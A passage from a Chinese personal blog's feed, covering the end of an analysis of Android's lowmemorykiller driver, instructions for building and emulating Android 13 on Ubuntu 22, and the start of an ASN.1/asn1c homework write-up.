class="line">183 lowmem_print(4, &quot;lowmem_scan %lu, %x, return %lu\n&quot;,</span><br><span class="line">184          sc-&gt;nr_to_scan, sc-&gt;gfp_mask, rem);</span><br><span class="line">185 rcu_read_unlock();</span><br><span class="line">186 return rem;</span><br><span class="line">187&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></div><h4 id="3-3-5-小结"><a href="#3-3-5-小结" class="headerlink" title="3.3.5 小结"></a>3.3.5 小结</h4><p>上面代码就是lowmemorykiller核心原理的实现，可以小总结一下。</p><ul><li>首先调用global_page_state，可以获取当前系统可用的（剩余）内存大小</li><li>遍历lowmem_minfree数组,根据other_free和other_file的剩余内存的大小，确定当前剩余内存的最小级别的min_score_adj</li><li>有了上面的adj之后，遍历所有进程，获取每个进程的rss大小,然后不断循环，每次比较进程占用的内存大小tasksize以及小于oom_score_adj，就能确定最终杀死哪个进程了</li><li>确定的进程保存在selected变量中，对他发送SIGKILL信号杀死，并且更新rem大小<br>所以通过上面的总结已经可以回答我们第一个问题，“LowmemoryKiller杀进程的策略具体是怎么样的？内存低到什么情况下，LowmemoryKiller开始干活呢？”</li></ul><h2 id="四-编译-Android"><a href="#四-编译-Android" class="headerlink" title="四 编译 Android"></a>四 编译 Android</h2><h3 id="4-1-环境配置"><a href="#4-1-环境配置" class="headerlink" title="4.1 环境配置"></a>4.1 环境配置</h3><p>1.操作系统：Ubuntu22虚拟机</p><p>2.下载和配置所需工具</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install curl repo git</span><br><span class="line">#下载配置repo</span><br><span class="line">mkdir ~/bin/</span><br><span class="line">curl https://mirrors.tuna.tsinghua.edu.cn/git/git-repo -o ~/bin/repo</span><br><span class="line">chmod +x ~/bin/repo</span><br><span class="line">#修改 ~/.bashrc文件，再最后一行加入</span><br><span class="line">export REPO_URL=&#x27;https://mirrors.tuna.tsinghua.edu.cn/git/git-repo&#x27;</span><br><span class="line">#执行</span><br><span class="line">source  ~/.bashrc</span><br><span class="line">#配置git环境，email和name配置成自己的名称</span><br><span class="line">git config --global user.email &quot;you@example.com&quot;</span><br><span class="line">git config --global user.name &quot;Your Name&quot;</span><br></pre></td></tr></table></figure></div><h3 id="4-2-下载Android源码"><a href="#4-2-下载Android源码" class="headerlink" title="4.2 下载Android源码"></a>4.2 下载Android源码</h3><p>创建保存代码的目录，我下载分支为android-13.0.0_r35，如果想下载其他分支，请查看<a class="link"   href="https://link.zhihu.com/?target=https://source.android.google.cn/docs/setup/about/build-numbers%23source-code-tags-and-builds" >source-code-tags-and-builds <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mkdir -p ~/android-13.0.0_r35</span><br><span class="line">cd ~/android-13.0.0_r35</span><br><span class="line">repo init -u https://mirrors.tuna.tsinghua.edu.cn/git/AOSP/platform/manifest -b android-13.0.0_r35</span><br><span class="line">repo sync</span><br></pre></td></tr></table></figure></div><p>repo sync后面可以加 -j 参数，-j 后面的数字为使用cpu的线程数，根据个人电脑配置选择，后面编译也是如此。</p><h3 id="4-3-代码编译"><a href="#4-3-代码编译" class="headerlink" title="4.3 代码编译"></a>4.3 代码编译</h3><p>1.编译前注意事项</p><p>（1）内存要够大：我电脑是16GB内存，编译时提示最少需要16G的内存，我就给虚拟机分了16GB，实际最吃内存的是编译开始的阶段，顶过去就好了</p><p>（2）增加交换空间：</p><p>Ubuntu22默认交换空间只有2G，我们要扩大，我给虚拟机分了16GB，所以我把交换空间也设为16GB</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">#检查原来的系统中是否有swap分区</span><br><span class="line">free -h</span><br><span class="line">#删除原来的swap分区</span><br><span class="line"> sudo swapoff /swapfile  </span><br><span class="line"> sudo rm  /swapfile</span><br><span class="line">#检查硬盘可用空间</span><br><span class="line">df -h</span><br><span class="line">#创建分区，设置swap分区与内存一样大，内存是16G，这里也创建一个16G的swap分区</span><br><span class="line">sudo fallocate -l 16G /swapfile</span><br><span class="line">#检查是否创建成功</span><br><span class="line">ls -lh /swapfile</span><br><span class="line">#使能分区</span><br><span class="line">sudo chmod 600 /swapfile</span><br><span class="line">sudo mkswap /swapfile</span><br><span class="line">sudo swapon /swapfile</span><br><span class="line">sudo swapon --show</span><br><span class="line">free -h</span><br><span class="line">#到这里，分区创建完成了，但是下次启动会丢失，接下来，固化swap分区</span><br><span class="line">sudo cp /etc/fstab /etc/fstab.bak</span><br><span class="line">echo &#x27;/swapfile none swap sw 0 0&#x27; | sudo tee -a /etc/fstab</span><br></pre></td></tr></table></figure></div><p>实际上我分配了20G内存后来也编译失败了，建议内存+交换空间要达到30G，而Ubuntu的交换空间只有2G</p><p>2.编译工具安装</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install git-core gnupg flex bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z-dev ccache libgl1-mesa-dev libxml2-utils xsltproc unzip libncurses5 openjdk-8-jdk</span><br></pre></td></tr></table></figure></div><p>3.编译代码</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">cd ~/android-13.0.0_r35</span><br><span class="line">source build/envsetup.sh</span><br><span class="line">#下面选择自己想要的版本,如果想要启动模拟器的话，要选择sdk开头的，比如aosp_car_x86_64-userdebug是无法启动模拟器的，sdk_car_x86_64-userdebug 可以启动模拟器</span><br><span class="line">lunch sdk_car_x86_64-userdebug </span><br><span class="line">make -j4</span><br></pre></td></tr></table></figure></div><p>-j4编译了很久，从下午四五点开始到晚上睡觉才编译了一半多，一觉醒来是编译好了的，所以电脑配置好的 -j 后的参数可以调大一些，省时间。 </p><h3 id="4-4-启动模拟器"><a href="#4-4-启动模拟器" class="headerlink" title="4.4 启动模拟器"></a>4.4 启动模拟器</h3><h4 id="4-4-1-启动模拟器的注意事项："><a href="#4-4-1-启动模拟器的注意事项：" class="headerlink" title="4.4.1 启动模拟器的注意事项："></a>4.4.1 启动模拟器的注意事项：</h4><p>要通过VMware中Ubuntu22虚拟机来启动Android模拟器，需要在虚拟机设置中，勾选虚拟化Intel YT-x&#x2F;EPT或 AMD-V&#x2F;RVI</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/Ubuntu22%E7%BC%96%E8%AF%91Android13/%E5%90%AF%E5%8A%A8%E6%A8%A1%E6%8B%9F%E5%99%A81.png"                      alt="启动模拟器"                ></p><p>若出现报错：需要关掉基于虚拟化的安全性，具体操作见参考链接：<a class="link"   href="https://zhuanlan.zhihu.com/p/568839806" >在 Windows 11&#x2F;10 中启用或禁用核心隔离内存完整性 - 知乎 (zhihu.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>****</p><h4 id="4-4-2-启动虚拟器"><a href="#4-4-2-启动虚拟器" class="headerlink" title="4.4.2 启动虚拟器"></a>4.4.2 启动虚拟器</h4><p>编译完成后在同一窗口执行：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">emulator</span><br></pre></td></tr></table></figure></div><p>如果切换了终端窗口，则执行</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">![1](D:\Github\GitHub\Hexo\source\images\AndroidLMK\1.png)source build/envsetup.sh</span><br><span class="line">lunch sdk_car_x86_64-userdebug</span><br><span class="line">emulator -writable-system </span><br></pre></td></tr></table></figure></div><p>-writable-system表示系统可写，不加的话无法adb push文件到系统</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C1.png"                      alt="1"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C2.png"                      alt="2"                ></p><h3 id="4-5代码调试"><a href="#4-5代码调试" class="headerlink" title="4.5代码调试"></a>4.5代码调试</h3><h4 id="4-5-1-调试工具安装"><a href="#4-5-1-调试工具安装" class="headerlink" title="4.5.1 调试工具安装"></a>4.5.1 调试工具安装</h4><p>安装adb调试工具</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo add-apt-repository ppa:nilarimogard/webupd8</span><br><span class="line">sudo apt-get update</span><br><span class="line">sudo apt-get install android-tools-adb</span><br></pre></td></tr></table></figure></div><h4 id="4-5-2-调试"><a href="#4-5-2-调试" class="headerlink" title="4.5.2 调试"></a>4.5.2 调试</h4><p>启动 adb</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C3.png"                      alt="3"                ></p><p>查看进程</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C4.png"                      alt="4"                ></p><p>导出日志</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C5.png"                      alt="5"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images%5CAndroidLMK%5C6.png"                      alt="6"                ></p><h2 id="五-总结"><a href="#五-总结" class="headerlink" title="五 总结"></a>五 总结</h2><p>​通过对 LMK 源码的分析，对 Android 低内存的管理机制有了更深的了解。LMK 的主要流程是 frameworks 的 ProcessList.java 调整 adj，通过 socket 通信将事件发送给 native 的守护进程 lmkd；lmkd 再根据具体的命令来执行相应操作，其主要功能是用来更新 oom_score_adj 值以及 lowmemorykiller 驱动的 parameters（包括 minfree 和 adj）。最后讲到了 lowmemorykiller 驱动，通过注册 shrinker，借助 linux 标准的内存回收机制，根据系统可用内存以及 parameters 配置参数（adj，minfree）来选取合适的 selected_oom_score_adj，再从所有进程中选择 adj 大于该目标值并占有 rss 内存最大的进程，将其杀掉从而释放出内存。</p><p>​ 通过查阅资料了解到：Android 使用内核中的低内存终止守护程序（LMK）驱动程序来监控系统内存压力，该驱动程序是一种依赖于硬编码值的严格机制。从内核 4.12 开始，LMK 驱动程序已从上游内核中移除，改由用户空间 lmkd 来执行内存监控和进程终止任务。Android 低内存守护程序 lmkd 进程可监控运行中的 Android 系统的内存状态，并通过终止最不必要的进程来应对内存压力大的问题，使系统以可接受的性能水平运行。</p><p>​ Android 采用层次化系统架构，由底层向上分为 4 个主要功能层，分别是 Linux 内核层、系统运行时库层、应用程序框架层和应用程序层。对于 Linux 内核层来说，Android 以 Linux 操作系统内核为基础，借助 Linux 内核服务实现硬件设备驱动、进程和内存管理、网络协议栈、电源管理、无线通信等核心功能。Android4.0 版本之前基于 Linux2.6 系列内核，4.0 及之后的版本使用更新的 Linux3.X 内核，并且两个开源项目有了互通。Linux3.3 内核中正式包括以下 Android 代码，可以直接引导进 Android。Linux3.4 将会增添电源管理等更多功能，以增加与 Android 的硬件兼容性，使 Android 在更多设备上得到支持。Android 对 Linux 内核进行了增强，增加了一些面向移动计算的特有功能。例如，低内存管理器 LMK、匿名共享内存 Ashmem、轻量级的进程间通信 Binder 机制等。这些内核的增强使 Android 在继承 Linux 内核安全机制的同时，进一步提升了内存管理，进程间通信等方面的安全性。</p><p>​ 内核驱动和用户软件之间还存在一层硬件抽象层（HAL），它是对硬件设备的具体实现加以抽象。鉴于许多硬件设备厂商不希望公开其设备驱动的源代码，如果能将 Android 的应用程序框架层与 Linux 系统内核的设备驱动隔离，使应用程序框架的开发尽量独立于具体的驱动程序，则 Android 将减少对 Linux 内核的依赖。所以 HAL 是对 Linux 内核驱动程序进行的封装，将硬件抽象化，屏蔽掉底层的实现细节。HAL 规定了一套应用层对硬件层读写和配置的统一接口，本质上就是将硬件的驱动分为用户空间和内核空间两个层面；Linux 内核驱动程序运行与内核空间，硬件抽象层运行与用户空间。</p><p>​ 在系统运行库层，通过一些 C&#x2F;C++ 库来为 Android 系统提供了主要的特性支持。如 SQLite 提供了数据库的支持，OpenGL|ES 提供了 3D 绘图的支持，Webkit 库提供了浏览器内核的支持等。同样在这一层还有 Android 运行时库，它主要提供了一些核心库，能够允许开发者使用 Java 语言来编写 Android 应用。另外 Android 运行时库中还包含了 Dalvik 虚拟机，它使得每一个 Android 应用都能运行在独立的进程当中，并且拥有一个自己的 Dalvik 虚拟机实例。相较于 Java 虚拟机，Dalvik 是专门为移动设备定制的，它针对手机内存、CPU 性能有限等情况作了优化处理。</p><p>​应用程序框架层提供开发 Android 应用程序所需的一系列类库，构建应用程序时可能用到的 API 等，使开发人员可以进行快速的应用程序开发，方便重用组件，也可以通过继承实现个性化的扩展。而应用层就是 Android 平台上包括各类与用户直接交互的应用程序，或由 java 语言编写的运行与后台的服务程序。例如智能手机上实现的基本功能程序，像 SMS 短信，电话拨号，日历，浏览器等。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="Android" scheme="http://example.com/categories/Android/"/>
    
    
    <category term="Android" scheme="http://example.com/tags/Android/"/>
    
  </entry>
  
  <entry>
    <title>密码工程第三次课后作业---ASN1</title>
    <link href="http://example.com/2023/04/17/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9A---ASN1/"/>
    <id>http://example.com/2023/04/17/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9A---ASN1/</id>
    <published>2023-04-17T01:53:05.000Z</published>
    <updated>2023-10-09T13:09:54.356Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>​在<a class="link"   href="https://zh.wikipedia.org/wiki/%E7%94%B5%E4%BF%A1" >电信 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>和<a class="link"   href="https://zh.wikipedia.org/wiki/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C" >计算机网络 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>领域，<strong>ASN.1</strong>（<strong>Abstract Syntax Notation One</strong>) 是一套<a class="link"   href="https://zh.wikipedia.org/wiki/%E6%A0%87%E5%87%86" >标准 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，是描述<a class="link"   href="https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE" >数据 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>的表示、编码、传输、解码的灵活的记法。它提供了一套正式、无歧义和精确的规则以描述独立于特定计算机硬件的对象结构。[<a class="link"   href="https://zh.wikipedia.org/zh-sg/ASN.1#cite_note-1" >1] <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>ASN.1是<a class="link"   href="https://zh.wikipedia.org/wiki/ISO" >ISO <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>和<a class="link"   href="https://zh.wikipedia.org/wiki/ITU-T" >ITU-T <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>的联合标准，最初是1984年的<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=CCITT_X.409:1984&action=edit&redlink=1" >CCITT X.409:1984 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>的一部分。由于其广泛应用，1988年ASN.1移到独立标准<strong>X.208</strong>，1995年进行全面修订后变成<strong>X.680</strong>系列标准。</p><p>​ASN.1本身只定义了表示信息的<a class="link"   href="https://zh.wikipedia.org/wiki/%E6%8A%BD%E8%B1%A1%E5%8F%A5%E6%B3%95" >抽象句法 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，但是没有限定其编码的方法。各种ASN.1编码规则提供了由ASN.1描述其抽象句法的数据的值的传送语法（具体表达）。标准的ASN.1编码规则有<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=BER&action=edit&redlink=1" >基本编码规则 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（BER，Basic Encoding Rules）、<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=CER&action=edit&redlink=1" >规范编码规则 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（CER，Canonical Encoding Rules）、<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=DER&action=edit&redlink=1" >唯一编码规则 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（DER，Distinguished Encoding Rules）、<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=PER&action=edit&redlink=1" >压缩编码规则 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（PER，Packed Encoding Rules）和<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=XER&action=edit&redlink=1" >XML编码规则 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（XER，<a class="link"   href="https://zh.wikipedia.org/wiki/XML" >XML <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> Encoding Rules）。为了使ASN.1能够描述一些原先没有使用ASN.1定义，因此不适用上述任一编码规则的数据传输和表示的应用和协议，另外制订了<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=ECN&action=edit&redlink=1" >ECN <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>来扩展ASN.1的编码形式。ECN可以提供非常灵活的表明方法，但还没有得到普遍应用。</p><p>​ASN.1与特定的ASN.1编码规则一起通过使用独立于计算机架构和编程语言的方法来描述数据结构，为结构化数据的交互提供了手段，特别是在网络环境的应用程序。</p><p>​<a class="link"   href="https://zh.wikipedia.org/wiki/%E5%BA%94%E7%94%A8%E5%B1%82" >应用层 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>协议如<a class="link"   href="https://zh.wikipedia.org/w/index.php?title=X.400&action=edit&redlink=1" >X.400 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（<a class="link"   href="https://zh.wikipedia.org/wiki/Email" >email <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>）、<a class="link"   href="https://zh.wikipedia.org/wiki/X.500" >X.500 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>和<a class="link"   href="https://zh.wikipedia.org/wiki/LDAP" >LDAP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（<a class="link"   href="https://zh.wikipedia.org/wiki/%E7%9B%AE%E5%BD%95%E6%9C%8D%E5%8A%A1" >目录服务 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>）、<a class="link"   href="https://zh.wikipedia.org/wiki/H.323" >H.323 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>（<a class="link"   href="https://zh.wikipedia.org/wiki/VoIP" >VoIP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>）和<a class="link"   href="https://zh.wikipedia.org/wiki/SNMP" >SNMP <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>使用 ASN.1 描述它们交互的<a class="link"   href="https://zh.wikipedia.org/wiki/PDU" >协议数据单元 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。在<a class="link"   href="https://zh.wikipedia.org/wiki/UMTS" >UMTS <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>的接入和非接入层也有广泛的应用。 ASN.1的其他应用领域参见此处[<a class="link"   href="https://web.archive.org/web/20051023024910/http://asn1.elibel.tm.fr/en/uses/index.htm" >1] <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。</p><p>​这里[<a class="link"   href="https://web.archive.org/web/20051023025313/http://asn1.elibel.tm.fr/links/#tools" >2] <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>列举了很多ASN.1的自由或者商业的工具。</p><p><a class="link"   href="https://zh.wikipedia.org/zh-sg/ASN.1%22%E7%BB%B4%E5%9F%BA%E7%99%BE%E7%A7%91%22" >摘自维基百科ASN.1 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h2 id="作业一："><a href="#作业一：" class="headerlink" title="作业一："></a>作业一：</h2><h3 id="要求："><a href="#要求：" class="headerlink" title="要求："></a>要求：</h3><ol><li>使用ASN.1编写一个数据结构。具体什么数据自己考虑。</li><li>分别使用asn1c、JavaAsn1Compiler等对这个数据结构进行编译。可以使用c／java／python进行编码，并存储，而后用另外一种编程语言进行解码，比如，用C编码，可以用java或者python解码；</li><li>对上述的数据结构，使用protobuffer实现一次。这里不强制要求不同的语言实现编码和解码。</li></ol><h3 id="环境和工具配置"><a href="#环境和工具配置" class="headerlink" title="环境和工具配置"></a>环境和工具配置</h3><h4 id="1-操作系统："><a href="#1-操作系统：" class="headerlink" title="1. 操作系统："></a>1. 操作系统：</h4><p>Windows11本机和Ubuntu22虚拟机</p><h4 id="2-Ubuntu配置java和javac"><a href="#2-Ubuntu配置java和javac" class="headerlink" title="2. Ubuntu配置java和javac"></a>2. Ubuntu配置java和javac</h4><p>在终端中输入java或javac命令，没有java或javac的话会提示你安装，如下图所示，根据提示的命令选择需要的版本直接安装就行</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E5%AF%86%E7%A0%81%E5%B7%A5%E7%A8%8B%E7%AC%AC%E4%B8%89%E6%AC%A1%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9AASN1/1.png"                      alt="java配置"                ></p><h4 id="3-ubuntu安装asn1c编译器"><a href="#3-ubuntu安装asn1c编译器" class="headerlink" title="3. ubuntu安装asn1c编译器"></a>3. ubuntu安装asn1c编译器</h4><p>（1）<strong>下载asn1c的源码</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/vlm/asn1c.git</span><br></pre></td></tr></table></figure></div><p>或者直接下载源码包自行解压<strong><a class="link"   href="https://github.com/vlm/asn1c" >https://github.com/vlm/asn1c <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></strong></p><p>注意：源码目录的路径中不要含有中文，否则在执行make和make install时会报错</p><p>（2）<strong>下载依赖库</strong>：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install libtool automake bison flex</span><br></pre></td></tr></table></figure></div><p>（3）<strong>生成配置文件</strong>：进入刚刚解压的文件夹，就是那个asn1c开头的文件夹，执行 </p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">test -f configure || autoreconf -iv</span><br></pre></td></tr></table></figure></div><p>（4）<strong>配置ASN1C config</strong>：在asn1源码文件夹目录里执行</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./configure</span><br></pre></td></tr></table></figure></div><p>（5）<strong>编译</strong>：执行命令</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo make</span><br></pre></td></tr></table></figure></div><p>（6）<strong>安装</strong>：执行命令</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo make install</span><br></pre></td></tr></table></figure></div><p>（7）执行命令</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">asn1c -h</span><br></pre></td></tr></table></figure></div><p>测试是否安装成功</p><h4 id="4-Ubuntu或者Windows安装JavaAsn1Compiler"><a href="#4-Ubuntu或者Windows安装JavaAsn1Compiler" class="headerlink" title="4.Ubuntu或者Windows安装JavaAsn1Compiler"></a>4.Ubuntu或者Windows安装JavaAsn1Compiler</h4><p><strong>JavaAsn1Compiler下载地址</strong>: <a class="link"   href="https://sourceforge.net/projects/jac-asn1/files/latest/download" >https://sourceforge.net/projects/jac-asn1/files/latest/download <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> ，直接下载解压就行， Ubuntu 和 Windows 都可以，解压后有 HOW TO RUN.txt 记录了使用方法。</p><h3 id="1-使用ASN-1编写一个数据结构"><a href="#1-使用ASN-1编写一个数据结构" class="headerlink" title="1.使用ASN.1编写一个数据结构"></a>1.使用ASN.1编写一个数据结构</h3><p>文件命名为rectangle.asn1</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">RectangleModule1 DEFINITIONS ::=</span><br><span class="line">BEGIN</span><br><span class="line">Rectangle ::= SEQUENCE &#123;</span><br><span class="line">    height  INTEGER,</span><br><span class="line">    width   INTEGER,</span><br><span class="line">    author  OCTET STRING,</span><br><span class="line">    title OCTET STRING</span><br><span class="line">&#125;</span><br><span class="line">END</span><br></pre></td></tr></table></figure></div><h3 id="2-使用asn1c进行编译"><a href="#2-使用asn1c进行编译" class="headerlink" title="2.使用asn1c进行编译"></a>2.使用asn1c进行编译</h3><p>编译后会产生很多文件，建议先建立一个文件夹，将rectangle.asn1文件复制进去，再编译。</p><p>编译命令：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">asn1c -fnative-types rectangle.asn1</span><br></pre></td></tr></table></figure></div><p>输出：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br></pre></td><td class="code"><pre><span class="line">-fnative-types: Deprecated option</span><br><span class="line">Compiled Rectangle.c</span><br><span class="line">Compiled Rectangle.h</span><br><span class="line">Copied /usr/local/share/asn1c/OPEN_TYPE.h-&gt; OPEN_TYPE.h</span><br><span 